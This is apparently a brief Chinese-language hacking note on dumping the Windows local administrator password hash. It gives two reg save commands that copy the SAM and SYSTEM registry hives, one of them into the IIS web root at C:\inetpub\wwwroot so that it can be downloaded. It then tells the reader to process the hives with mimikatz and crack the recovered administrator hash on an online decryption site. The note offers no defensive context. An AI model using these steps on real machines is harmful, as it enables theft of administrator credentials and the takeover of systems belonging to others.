读取本地管理员Hash

　　1. reg save hklm\sam C:\inetpub\wwwroot\sam.hiv

　　2. reg save hklm\system sys.hiv

 

 把文件下载到本地。与mimikatz工具放到一起。

 

 开始跑命令

获取到administrator的Hash值。再去解密网站解密。